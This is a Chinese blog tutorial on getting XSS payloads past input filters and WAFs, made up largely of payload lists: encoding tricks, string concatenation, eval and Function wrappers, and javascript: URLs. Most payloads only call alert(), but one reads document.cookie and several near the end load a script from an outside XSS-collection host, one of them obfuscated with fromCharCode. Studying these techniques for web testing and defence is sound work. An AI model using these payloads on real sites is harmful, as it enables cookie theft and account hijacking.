XSS绕过总结

有时候明明有一个xss漏洞,但是却有xss过滤规则或者WAF保护导致我们不能成功的利用,这些会屏蔽掉我们的代码,会导致我们执行完代码之后什么反应都没有,这时候我们可以审查一下元素,看看我们的代码有没有替换为空,或者替换成其他东西,或者那些符号被过滤掉了。

比如:我们输入<script> alert(“hi”) </scrip>, 会被转换成<script> alert(>xss detected<) </scrip>,这样的话我们的js语句就不生效了。

下面介绍几种简单绕过xss的方法:

1、用CharCode()绕过magic_quotes_gpc
(绕过被过滤的双引号或者单引号的内容 )
2、unicode编码 (复杂的关键字过滤)
3、改变大小写 (简单的关键字过滤)
4、双写
5、注释干扰 加上注释后可能可以绕过后台过滤机制
6、关闭标签

<script> alert(“hi”)</scrip> 

7、伪协议绕过

magic_quotes_gpc 魔术引号绕过:

有单引号/双引号被过滤的话我们可以用mantra的自带的插件功能,选中被单引号括住的,选择xss中
的CharCode(),这样就会自动编码了,然后来进行绕过。
在这里插入图片描述

jsunicode编码:

当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。
\u003c 来代替左括号(小于括号 ’<‘ )
\u003e 来代替右括号(大于括号 ‘>’ )
\u0022 来代替 双引号 ( ” )
\u0027 来代替 单引号 ( ’ )

fromCharCode() 将 Unicode 编码转为一个字符
有时候这种方法可以用来绕过htmlspecialchars 实体化XSS(16进制也可以尝试)
除了双引号和单引号不能编码之外,其他的也可以编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

大小写与双写绕过原理:

如下: 代码审计中有函数这样就屏蔽掉了我们的script和alert,防止我们的使用这些代码。

$x=preg_replace("/script/" , "  " ,$x);	

//这句是当匹配到script(区分大小写)的时候替换为空,可以用大小写绕过

$x=preg_replace("/script/ i "  , "" ,$x);	

//加了个 i 之后就不区分大小写了,不可以用大小写绕过

$x=preg_replace("/alert/" , "" ,$x);
$x=preg_replace("/alert/ i "  , "" ,$x);

那我们如何去绕过呢:
1、大小写绕过:像这种正则匹配的,是没有区分我们的大小写的,我们就可以转换前后标签中的script几个字母的大小写进行绕过。

2、双写绕过:假如被替换掉了一个script,我们可以在原来的<Script>里面再加多一个script来进行重写这样就算替换了一个变成空格,但是我们还有一个,如:

<scSCRiptript>......</sSCRiptcript>

注释干扰绕过:

1、如:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
///这样的话服务器源代码可能不会检测到script这个标签

(1)、<!--注释内容-->
(2)、//注释内容 (在css或javascript中插入单行注释)
(3)、/注释内容/ (在css或javascript中插入多行注释)
覆盖和注释:
例如:可以插入 type=“text”(""可不要) 覆盖 type=“hidden”,或者用 // 把
type="hidden"注释掉
1’οnclick=alert(1) // //可以注释 > 之前的内容

2、第二种用法就是用来闭合,前一个标签的
当我们用</span> 想闭合前面的 <span>标签的时候,但是又会遇到过滤,不让用/,所以我
们这样就放弃了吗? 不,其实还有一招: 将<!–>代替掉/ 这样就能“闭合“前一个标签了。然后
自己在创建一个标签出来
如:<<!--> span> <a href="" onclick="alert(document.cookie)">123456 </a>

绕过 htmlspecialchars 实体化XSS

预定义的字符实体化
& 成为 &amp
" 成为 &quot
’ 成为 &039
‘<’ 成为 &lt
‘>’ 成为 &gt

1、可用引号类型
ENT_COMPAT:默认,仅编码双引号,所以单引号很可能可以用
ENT_QUOTES:编码双引号和单引号
ENT_NOQUOTES:不编码任何引号

2、所以也可以尝试 ’ 闭合,构建事件触发
'οnclick=alert(1111) ’
当用户输入被转换尝试绕过,实体化输出到页面时,<>等符号会被进行实体化转义,此时可以尝试使用16进制或unicode编码进行

倘若是在script、input标签当中,即可突破。
Payload:
'oninput = alert1 // 当要在input中输入内容时触发事件
'oninput = alert1 ’ // 当要在input中输入内容时触发事件
'οnchange=alert1// 发生改变的时候触发该事件
‘οnchange=alert1’ ///同上

3、一般\不会被实体化,这样可以用来配合十六进制或者八进制来进行绕过斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。例如,我们把我们XSS语句转换成16进制。

<script>alert('poruin')</script>

结果如下:
\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6
F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E
这些就是经过编码后的字符,因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。(八进制也一样,不过不需要X了)

htmlspecialchars() 默认只编码双引号,虽然不能用双引号和<> 但是可以用 ‘,所以我
们的单引号很可能可以用。

字符拼接

利用eval

<img src=x"οnerrοr="a=`aler`;b=`t`;c='`xss`);';eval(a+b+c)">

利用top,加密函数(parseInt和toString互逆)

<video/src/onerror=top[8680439..toString(30)](1);>
<video/src/onerror=top[11189117..toString(32)](1);>

拼接

<script>top["al"+"ert"](`xss`);</script>
<video/src/onerror=top.alert(1);>
<video/src/onerror=window.alert(1);>
<video/src/onerror=top[`al`%2B`ert`](1);>
<video/src/onerror=self[`al`%2B`ert`](1);>
<video/src/onerror=parent[`al`%2B`ert`](1);>
<video/src/onerror=window[`al`%2B`ert`](1);>
<video/src/onerror=frames[`al`%2B`ert`](1);>
<video/src/onerror=content[`al`%2B`ert`](1);>
<iframe onload=location='javascri'.concat('pt:aler','t(1)')>
<img src onerror=appendChild(createElement(`script`)).src=`https://x`.concat(`sspt.co`,`
m/TuK26d`)>

赋值配合拼接

<img src=x onerror=_=alert,_(/xss/)>
<img src=x alt=al lang=ert onerror=top[alt%2blang](0)>
<img src=x onerror=top[a='al',b='ev',b%2ba]('alert(1)')>

数组转字符配合拼接

<iframe onload=location=['java','script:','alert(1)'].join('')>

函数包裹,一般配合编码用,同样可拼接

<body/onload=eval(alert(1));>
<body/onload=open(alert(1));>
<body/onload=document.write(alert(1));>
<body/onload=setTimeout(alert(1));>
<body/onload=setInterval(alert(1));>
<body/onload=Set.constructor(alert(1))()>
<body/onload=Map
.constructor(alert(1))()>
<body/onload=Array
.constructor(alert(1))()>
<body/onload=WeakSet.constructor(alert(1))()>
<body/onload=constructor.constructor(alert(1))>
<video/src/onerror=[1].map(alert);>
<video/src/onerror=[1].find(alert);>
<video/src/onerror=[1].every(alert);>
<video/src/onerror=[1].filter(alert);>
<video/src/onerror=[1].forEach(alert);>
<video/src/onerror=[1].findIndex(alert);>

组合

<img src=1 onerror=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(/xss/)>

创建匿名函数

<video/src/onerror=Function('ale'%2B'rt(1)')();>

标签内部闭合进行注入js攻击代码(标签内部构件事件):

有时候会出现直接将<script>这个给直接屏蔽掉了,我们不能进行直接的js代码调用,但是我们也可以在其他标签上直接调用js代码。
例:
当我找到了我的页面输入点的时候,我们发现这个输入点的html是一个a标签。

<a href='1'>666</a>
///  其中666 是我们的输入点,是我们输入的,那么在不能用<script>的情况下我们怎么去进行xss攻击呢?

这时候我们可以这样重构语句:

<a href='www.xxx.com' onclick=alert(1111) ' ' >666</a>

/’ οnclick=alert(1111) '是我们添加的语句 ,这是个点击事件,只要点击了www.xxx.com,这样我们就执行了alert的这个语句。这样我们就绕过了。

通过以上的例子可以看出有一定的代码审计能力是很有必要的,要找出怎么应对
他的一个闭合想法。

伪协议绕过:

在我们不能用事件触发的时候我们通常会使用伪协议,伪协议表示执行的是常见的javascript / data 脚本,具体执行什么?就是 : 后面的代码;
如:<object data=javascript:alert(1)>
//执行标签后就会默认触发执行js伪协议后面的js弹框函数

那有多少标签能用伪协议呢:<a>、 <img> 、<iframe>、<form>等等

<a>标签:
<a href="javascript:alert(`xss`);">xss</a>

<iframe>标签:
<iframe src=javascript:alert('xss');></iframe>

<img>标签:
<img src=javascript:alert('xss')>		//IE7以下

<form>标签:
<form action="Javascript:alert(1)"><input type=submit>

Bypass的一些姿势

 `<!-- 空格被过滤 -->`		用/代替
	<img/src="1"/onerror=alert(1)>
    
	<!-- 双写绕过 -->
	<iimgmg src=1 oonerrornerror=aimglert(1)>
    
	<!-- 大小写绕过  -->
	<iMg src=1 oNerRor=alert(1)>
    
	<!-- 利用eval() -->
	<img src=1 onerror="a=`aler`;b=`t(1)`;eval(a+b);">	//这里利用evel的拼接
	<img src=1 onerror=eval(atob('YWxlcnQoMSk='))>
    
	<!-- 利用location -->
	<img src=1 onerror=location='javascript:%61%6C%65%72%74%28%31%29'>
	<img src=1 onerror=location='javascript:\x61\x6C\x65\x72\x74\x28\x31\x29'>
	<img src=1 onerror=location="javascr"+"ipt:"+"%61%6C%65%72%74%28%31%29">
    
	<!-- 括号被过滤 -->
	<img src=1 onerror="window.οnerrοr=eval;throw'=alert\x281\x29';">
    
	<!-- onerror=被过滤 -->
	<img src=1 onerror     =alert(1)>
	<img src=1 onerror
	=alert(1)>
    

<!-- 属性被转换为大写 -->

<img src=1 onerror=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>
    

<!-- 编码后被检测 -->
	<img src=1 onerror=&#x00000061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#
x0029;>

拓展:

1、js中的传参
js中,函数不仅可以这样

(1)(alert)(1);   		 //传参可以这样
(2)   alert(1);		     //也可以这样
(3)  alert`1`;           ///还可以这样

2、js中的符号靠近问题
有时候可能语句没问题的,但是还是爆不出我们的东西,这样的话可能是我们没有闭合后面源代码原本的符号,或者这些符号靠的太近了,所以我们可以在探测语句后面加个空格,来避免这种事情的发生。

3、误区
误区1:在遇到替换函数preg_replace()的时候,要是没结果怎么处理的话 他的针
对性会比较强的,我们可以用大小写,或者其他标签或者重写等其他方法来进行绕过。

4、深入理解浏览器解析机制和XSS向量编码
HTML解析,URL解析和JavaScript解析
参考链接:http://bobao.360.cn/learning/detail/292.html
浏览器对编码解析的顺序:
URL解析->HTML解析->CSS解析->JS解析

unicode编码:
当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进
行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码
只会被当作字符串。
如:

<script>\u0061\u006c\u0065\u0072\u0074(1)
</script>%u0026%u006c%u0074%u003bimg src=123 
onerror=alert(1);%u0026%u0067%u0074%u003b
fromCharCode() 将 Unicode 编码转为一个字符

url编码:

<img src=x onerror=alert('xss')>

将alert(‘xss’)进行URL编码,可以执行吗?

<img src=x onerror=alert%28%27xss%27%29>

它并不会执行,因为属性标签并不会正常解析这些编码被HTML解释器解释后,如果遇到需要填入url的位置,则该位置交由url解释器解释
例:

<a href="javascript:%61%6c%65%72%74%28%31%29"></a>
<img src="x"onerror="eval(unescape('
%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%
3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%7
4%3E"></iframe>

Ascii编码:
我们可以使用 JavaScript 的 fromCharCode 函数,这个函数把指定的
Unicode值转换成字符串。

<img src="x"onerror="eval(String.fromCharCode(97,108,
101,114,116,40,34,120,115,115,34,41,59))">
<script src=https://xsspt.com/TuK26d></script>
<img src onerror=appendChild(createElement(`script`)).src=`
https://xsspt.com/TuK26d`>
<img srconerror=eval(String.fromCharCode(97,112,112,101,110,100
,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,11
6,40,96,115,99,114,105,112,116,96,41,41,46,115,114,99,61,96,104,116,116,
112,115,58,47,47,120,115,115,112,116,46,99,111,109,47,84,117,75,50,54,1
00,96))>
  • 7
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值